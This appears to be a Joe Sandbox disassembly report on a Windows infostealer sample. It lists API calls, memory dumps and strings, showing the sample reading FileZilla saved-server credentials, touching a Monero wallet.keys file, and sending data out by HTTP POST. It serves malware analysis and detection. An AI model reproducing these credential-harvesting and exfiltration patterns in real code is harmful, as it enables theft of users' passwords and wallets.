GetProcAddress.KERNEL32(76210000,013EA570), ref: 00419CBF
GetProcAddress.KERNEL32(76210000,013FDD80), ref: 00419CD7
GetProcAddress.KERNEL32(76210000,013FDAE0), ref: 00419CF0
GetProcAddress.KERNEL32(76210000,013FDB10), ref: 00419D08
GetProcAddress.KERNEL32(76210000,013FDCA8), ref: 00419D20
GetProcAddress.KERNEL32(76210000,013E55F0), ref: 00419D39
GetProcAddress.KERNEL32(76210000,013E5610), ref: 00419D51
GetProcAddress.KERNEL32(76210000,013E56F0), ref: 00419D69
GetProcAddress.KERNEL32(76210000,013E53B0), ref: 00419D82
GetProcAddress.KERNEL32(76210000,013FDC90), ref: 00419D9A
GetProcAddress.KERNEL32(76210000,013FDB40), ref: 00419DB2
GetProcAddress.KERNEL32(76210000,013EA7C8), ref: 00419DCB
GetProcAddress.KERNEL32(76210000,013E5630), ref: 00419DE3
GetProcAddress.KERNEL32(76210000,013FDCC0), ref: 00419DFB
GetProcAddress.KERNEL32(76210000,013FDAF8), ref: 00419E14
GetProcAddress.KERNEL32(76210000,013FDD50), ref: 00419E2C
GetProcAddress.KERNEL32(76210000,013FDC48), ref: 00419E44
GetProcAddress.KERNEL32(76210000,013E53D0), ref: 00419E5D
GetProcAddress.KERNEL32(76210000,013FDBD0), ref: 00419E75
GetProcAddress.KERNEL32(76210000,013FDCD8), ref: 00419E8D
GetProcAddress.KERNEL32(76210000,013FDB88), ref: 00419EA6
GetProcAddress.KERNEL32(76210000,013FDB28), ref: 00419EBE
GetProcAddress.KERNEL32(76210000,013FDBB8), ref: 00419ED6
GetProcAddress.KERNEL32(76210000,013FDC78), ref: 00419EEF
GetProcAddress.KERNEL32(76210000,013FDBA0), ref: 00419F07
GetProcAddress.KERNEL32(76210000,013FDCF0), ref: 00419F1F
GetProcAddress.KERNEL32(76210000,013FDD38), ref: 00419F38
GetProcAddress.KERNEL32(76210000,013EFAB0), ref: 00419F50
GetProcAddress.KERNEL32(76210000,013FDD08), ref: 00419F68
GetProcAddress.KERNEL32(76210000,013FDBE8), ref: 00419F81
GetProcAddress.KERNEL32(76210000,013E5430), ref: 00419F99
GetProcAddress.KERNEL32(76210000,013FDC00), ref: 00419FB1
GetProcAddress.KERNEL32(76210000,013E5450), ref: 00419FCA
GetProcAddress.KERNEL32(76210000,013FDB58), ref: 00419FE2
GetProcAddress.KERNEL32(76210000,013FDD20), ref: 00419FFA
GetProcAddress.KERNEL32(76210000,013E5510), ref: 0041A013
GetProcAddress.KERNEL32(76210000,013E5470), ref: 0041A02B
LoadLibraryA.KERNEL32(013FDB70,?,00415CA3,00420AEB,?,?,?,?,?,?,?,?,?,?,00420AEA,00420AE3), ref: 0041A03D
LoadLibraryA.KERNEL32(013FDD68,?,00415CA3,00420AEB,?,?,?,?,?,?,?,?,?,?,00420AEA,00420AE3), ref: 0041A04E
LoadLibraryA.KERNEL32(013FDC18,?,00415CA3,00420AEB,?,?,?,?,?,?,?,?,?,?,00420AEA,00420AE3), ref: 0041A060
LoadLibraryA.KERNEL32(013FDC30,?,00415CA3,00420AEB,?,?,?,?,?,?,?,?,?,?,00420AEA,00420AE3), ref: 0041A072
LoadLibraryA.KERNEL32(013FDC60,?,00415CA3,00420AEB,?,?,?,?,?,?,?,?,?,?,00420AEA,00420AE3), ref: 0041A083
LoadLibraryA.KERNEL32(013FDD98,?,00415CA3,00420AEB,?,?,?,?,?,?,?,?,?,?,00420AEA,00420AE3), ref: 0041A095
LoadLibraryA.KERNEL32(013FDDB0,?,00415CA3,00420AEB,?,?,?,?,?,?,?,?,?,?,00420AEA,00420AE3), ref: 0041A0A7
LoadLibraryA.KERNEL32(013FDF00,?,00415CA3,00420AEB,?,?,?,?,?,?,?,?,?,?,00420AEA,00420AE3), ref: 0041A0B8
GetProcAddress.KERNEL32(751E0000,013E5110), ref: 0041A0DA
GetProcAddress.KERNEL32(751E0000,013FDF18), ref: 0041A0F2
GetProcAddress.KERNEL32(751E0000,013F88E0), ref: 0041A10A
GetProcAddress.KERNEL32(751E0000,013FDF30), ref: 0041A123
GetProcAddress.KERNEL32(751E0000,013E4FD0), ref: 0041A13B
GetProcAddress.KERNEL32(70150000,013EA868), ref: 0041A160
GetProcAddress.KERNEL32(70150000,013E4FB0), ref: 0041A179
GetProcAddress.KERNEL32(70150000,013EA688), ref: 0041A191
GetProcAddress.KERNEL32(70150000,013FDF78), ref: 0041A1A9
GetProcAddress.KERNEL32(70150000,013FDDC8), ref: 0041A1C2
GetProcAddress.KERNEL32(70150000,013E5190), ref: 0041A1DA
GetProcAddress.KERNEL32(70150000,013E51F0), ref: 0041A1F2
GetProcAddress.KERNEL32(70150000,013FDE58), ref: 0041A20B
GetProcAddress.KERNEL32(753A0000,013E5210), ref: 0041A22C
GetProcAddress.KERNEL32(753A0000,013E52F0), ref: 0041A244
GetProcAddress.KERNEL32(753A0000,013FDF48), ref: 0041A25D
GetProcAddress.KERNEL32(753A0000,013FDDE0), ref: 0041A275
GetProcAddress.KERNEL32(753A0000,013E5290), ref: 0041A28D
GetProcAddress.KERNEL32(76310000,013EA700), ref: 0041A2B3
GetProcAddress.KERNEL32(76310000,013EA638), ref: 0041A2CB
GetProcAddress.KERNEL32(76310000,013FDF60), ref: 0041A2E3
GetProcAddress.KERNEL32(76310000,013E5050), ref: 0041A2FC
GetProcAddress.KERNEL32(76310000,013E51B0), ref: 0041A314
GetProcAddress.KERNEL32(76310000,013EA4D0), ref: 0041A32C
GetProcAddress.KERNEL32(76910000,013FDDF8), ref: 0041A352
GetProcAddress.KERNEL32(76910000,013E5230), ref: 0041A36A
GetProcAddress.KERNEL32(76910000,013F8AA0), ref: 0041A382
GetProcAddress.KERNEL32(76910000,013FDE28), ref: 0041A39B
GetProcAddress.KERNEL32(76910000,013FDE40), ref: 0041A3B3
GetProcAddress.KERNEL32(76910000,013E5090), ref: 0041A3CB
GetProcAddress.KERNEL32(76910000,013E50B0), ref: 0041A3E4
GetProcAddress.KERNEL32(76910000,013FDE10), ref: 0041A3FC
GetProcAddress.KERNEL32(76910000,013FDE70), ref: 0041A414
GetProcAddress.KERNEL32(75B30000,013E5250), ref: 0041A436
GetProcAddress.KERNEL32(75B30000,013FDE88), ref: 0041A44E
GetProcAddress.KERNEL32(75B30000,013FDEA0), ref: 0041A466
GetProcAddress.KERNEL32(75B30000,013FDED0), ref: 0041A47F
GetProcAddress.KERNEL32(75B30000,013FDEE8), ref: 0041A497
GetProcAddress.KERNEL32(75670000,013E51D0), ref: 0041A4B8
GetProcAddress.KERNEL32(75670000,013E4F90), ref: 0041A4D1
GetProcAddress.KERNEL32(76AC0000,013E4FF0), ref: 0041A4F2
GetProcAddress.KERNEL32(76AC0000,013FDEB8), ref: 0041A50A
GetProcAddress.KERNEL32(6F470000,013E5270), ref: 0041A530
GetProcAddress.KERNEL32(6F470000,013E50D0), ref: 0041A548
GetProcAddress.KERNEL32(6F470000,013E52B0), ref: 0041A560
GetProcAddress.KERNEL32(6F470000,013FD930), ref: 0041A579
GetProcAddress.KERNEL32(6F470000,013E52D0), ref: 0041A591
GetProcAddress.KERNEL32(6F470000,013E50F0), ref: 0041A5A9
GetProcAddress.KERNEL32(6F470000,013E5310), ref: 0041A5C2
GetProcAddress.KERNEL32(6F470000,013E5030), ref: 0041A5DA
GetProcAddress.KERNEL32(6F470000,InternetSetOptionA), ref: 0041A5F1
GetProcAddress.KERNEL32(6F470000,HttpQueryInfoA), ref: 0041A607
GetProcAddress.KERNEL32(75AE0000,013FD9D8), ref: 0041A629
GetProcAddress.KERNEL32(75AE0000,013F8920), ref: 0041A641
GetProcAddress.KERNEL32(75AE0000,013FDA08), ref: 0041A659
GetProcAddress.KERNEL32(75AE0000,013FDA20), ref: 0041A672
GetProcAddress.KERNEL32(76300000,013E5070), ref: 0041A693
GetProcAddress.KERNEL32(6D550000,013FD8A0), ref: 0041A6B4
GetProcAddress.KERNEL32(6D550000,013E5130), ref: 0041A6CD
GetProcAddress.KERNEL32(6D550000,013FD8D0), ref: 0041A6E5
GetProcAddress.KERNEL32(6D550000,013FDA38), ref: 0041A6FD

Strings

InternetSetOptionA, xrefs: 0041A5E5
HttpQueryInfoA, xrefs: 0041A5FC

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction ID: b148544ec257a615b167952e2e9b89b3667e8f5620887ecf26b211dda149ff7d
Opcode Fuzzy Hash: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction Fuzzy Hash: 02621DBD5C0200BFD364DFE8EE889A63BFBF74E701714A61AE609C3264D6399441DB52

Function 00407710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00407724
RtlAllocateHeap.NTDLL(00000000), ref: 0040772B
lstrcat.KERNEL32(?,013FA800), ref: 004078DB
lstrcat.KERNEL32(?,?), ref: 004078EF
lstrcat.KERNEL32(?,?), ref: 00407903
lstrcat.KERNEL32(?,?), ref: 00407917
lstrcat.KERNEL32(?,013FF370), ref: 0040792B
lstrcat.KERNEL32(?,013FF478), ref: 0040793F
lstrcat.KERNEL32(?,013FF3B8), ref: 00407952
lstrcat.KERNEL32(?,013FF388), ref: 00407966
lstrcat.KERNEL32(?,013FA888), ref: 0040797A
lstrcat.KERNEL32(?,?), ref: 0040798E
lstrcat.KERNEL32(?,?), ref: 004079A2
lstrcat.KERNEL32(?,?), ref: 004079B6
lstrcat.KERNEL32(?,013FF370), ref: 004079C9
lstrcat.KERNEL32(?,013FF478), ref: 004079DD
lstrcat.KERNEL32(?,013FF3B8), ref: 004079F1
lstrcat.KERNEL32(?,013FF388), ref: 00407A04
lstrcat.KERNEL32(?,013FF7B8), ref: 00407A18
lstrcat.KERNEL32(?,?), ref: 00407A2C
lstrcat.KERNEL32(?,?), ref: 00407A40
lstrcat.KERNEL32(?,?), ref: 00407A54
lstrcat.KERNEL32(?,013FF370), ref: 00407A68
lstrcat.KERNEL32(?,013FF478), ref: 00407A7B
lstrcat.KERNEL32(?,013FF3B8), ref: 00407A8F
lstrcat.KERNEL32(?,013FF388), ref: 00407AA3
lstrcat.KERNEL32(?,013FF820), ref: 00407AB6
lstrcat.KERNEL32(?,?), ref: 00407ACA
lstrcat.KERNEL32(?,?), ref: 00407ADE
lstrcat.KERNEL32(?,?), ref: 00407AF2
lstrcat.KERNEL32(?,013FF370), ref: 00407B06
lstrcat.KERNEL32(?,013FF478), ref: 00407B1A
lstrcat.KERNEL32(?,013FF3B8), ref: 00407B2D
lstrcat.KERNEL32(?,013FF388), ref: 00407B41
lstrcat.KERNEL32(?,013FF888), ref: 00407B55
lstrcat.KERNEL32(?,?), ref: 00407B69
lstrcat.KERNEL32(?,?), ref: 00407B7D
lstrcat.KERNEL32(?,?), ref: 00407B91
lstrcat.KERNEL32(?,013FF370), ref: 00407BA4
lstrcat.KERNEL32(?,013FF478), ref: 00407BB8
lstrcat.KERNEL32(?,013FF3B8), ref: 00407BCC
lstrcat.KERNEL32(?,013FF388), ref: 00407BDF
lstrcat.KERNEL32(?,013FF8F0), ref: 00407BF3
lstrcat.KERNEL32(?,?), ref: 00407C07
lstrcat.KERNEL32(?,?), ref: 00407C1B
lstrcat.KERNEL32(?,?), ref: 00407C2F
lstrcat.KERNEL32(?,013FF370), ref: 00407C43
lstrcat.KERNEL32(?,013FF478), ref: 00407C56
lstrcat.KERNEL32(?,013FF3B8), ref: 00407C6A
lstrcat.KERNEL32(?,013FF388), ref: 00407C7E

Part of subcall function 004075D0: lstrcat.KERNEL32(35C0D020,004217FC), ref: 00407606
Part of subcall function 004075D0: lstrcat.KERNEL32(35C0D020,00000000), ref: 00407648
Part of subcall function 004075D0: lstrcat.KERNEL32(35C0D020, : ), ref: 0040765A
Part of subcall function 004075D0: lstrcat.KERNEL32(35C0D020,00000000), ref: 0040768F
Part of subcall function 004075D0: lstrcat.KERNEL32(35C0D020,00421804), ref: 004076A0
Part of subcall function 004075D0: lstrcat.KERNEL32(35C0D020,00000000), ref: 004076D3
Part of subcall function 004075D0: lstrcat.KERNEL32(35C0D020,00421808), ref: 004076ED
Part of subcall function 004075D0: task.LIBCPMTD ref: 004076FB

lstrcat.KERNEL32(?,013FF9C8), ref: 00407E0B
lstrcat.KERNEL32(?,013FE230), ref: 00407E1E
lstrlen.KERNEL32(35C0D020), ref: 00407E2B
lstrlen.KERNEL32(35C0D020), ref: 00407E3B

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 85fb5718b7d2c024fd553b8887d2d1c0f2416c72c2389772f12151fca4551b13
Instruction ID: e42d55f5272c4be8e3f59257355b8fca4430f3dac2d75aeea8cbf9ff20cdab91
Opcode Fuzzy Hash: 85fb5718b7d2c024fd553b8887d2d1c0f2416c72c2389772f12151fca4551b13
Instruction Fuzzy Hash: 12324EBAD50314ABD715EBE0DC85DEA737DBB45700F005A9DF209A2080EE78E7858F56

Function 00410250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,0040148F,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(0040148F), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

GetProcessHeap.KERNEL32(00000000,000F423F,00420DBA,00420DB7,00420DB6,00420DB3), ref: 00410362
RtlAllocateHeap.NTDLL(00000000), ref: 00410369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00410385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410393
StrStrA.SHLWAPI(00000000,<Port>), ref: 004103CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 004103DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00410419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00410463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 0041051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 0041054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00410562
lstrcat.KERNEL32(?,profile: null), ref: 00410571
lstrcat.KERNEL32(?,url: ), ref: 00410580
lstrcat.KERNEL32(?,00000000), ref: 00410593
lstrcat.KERNEL32(?,00421678), ref: 004105A2
lstrcat.KERNEL32(?,00000000), ref: 004105B5
lstrcat.KERNEL32(?,0042167C), ref: 004105C4
lstrcat.KERNEL32(?,login: ), ref: 004105D3
lstrcat.KERNEL32(?,00000000), ref: 004105E6
lstrcat.KERNEL32(?,00421688), ref: 004105F5
lstrcat.KERNEL32(?,password: ), ref: 00410604
lstrcat.KERNEL32(?,00000000), ref: 00410617
lstrcat.KERNEL32(?,00421698), ref: 00410626
lstrcat.KERNEL32(?,0042169C), ref: 00410635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 0041068E

Strings

url: , xrefs: 00410577
password: , xrefs: 004105FB
login: , xrefs: 004105CA
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004102A4
<Pass encoding="base64">, xrefs: 0041045A
profile: null, xrefs: 00410568
<Port>, xrefs: 004103C6
<Host>, xrefs: 0041037C
browser: FileZilla, xrefs: 00410559
<User>, xrefs: 00410410

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: e07eb4d7b3ee0edbd186ba01ac5016e1f401939de906a3861dfd28659e94ae1a
Instruction ID: 88574b310afe194e395f800f7fa0a635665e3f7ca13a20ffb8ecf494429c26f0
Opcode Fuzzy Hash: e07eb4d7b3ee0edbd186ba01ac5016e1f401939de906a3861dfd28659e94ae1a
Instruction Fuzzy Hash: CFD17F75A41108ABCB04FBF0DD96EEE7379EF14314F50441EF102A6091DF78AA96CB69

Function 00405100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

lstrlen.KERNEL32(00000000), ref: 00405193

Part of subcall function 00418EA0: CryptBinaryToStringA.CRYPT32(00000000,00405184,40000001,00000000,00000000,?,00405184), ref: 00418EC0

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405207
StrCmpCA.SHLWAPI(?,013FFA98), ref: 00405225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405340
HttpOpenRequestA.WININET(00000000,013FFAE8,?,013FF490,00000000,00000000,00400100,00000000), ref: 004053A4

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,013FF9A8,00000000,?,013FEB68,00000000,?,004219DC,00000000,?,004151CF), ref: 00405737
lstrlen.KERNEL32(00000000), ref: 0040574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0040575C
RtlAllocateHeap.NTDLL(00000000), ref: 00405763
lstrlen.KERNEL32(00000000), ref: 00405778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 004057A9
lstrlen.KERNEL32(00000000), ref: 004057C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 004057E1
lstrlen.KERNEL32(00000000,?,?), ref: 0040580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040584D
InternetCloseHandle.WININET(00000000), ref: 004058B1
InternetCloseHandle.WININET(00000000), ref: 004058BE
InternetCloseHandle.WININET(00000000), ref: 004058C8

Strings

------, xrefs: 00405297
--, xrefs: 00405280
------, xrefs: 004054F9
", xrefs: 00405482
", xrefs: 004055C4
", xrefs: 00405706
------, xrefs: 004053B7
------, xrefs: 0040563B

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
